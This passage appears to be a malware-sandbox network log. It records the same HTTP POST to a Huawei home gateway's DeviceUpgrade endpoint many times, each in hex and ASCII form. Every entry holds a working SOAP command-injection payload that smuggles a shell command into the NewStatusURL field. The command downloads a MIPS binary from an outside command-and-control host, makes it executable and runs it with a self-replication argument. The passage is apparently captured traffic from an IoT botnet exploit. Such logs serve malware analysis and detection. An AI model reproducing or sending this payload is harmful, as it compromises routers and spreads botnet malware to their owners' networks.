74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
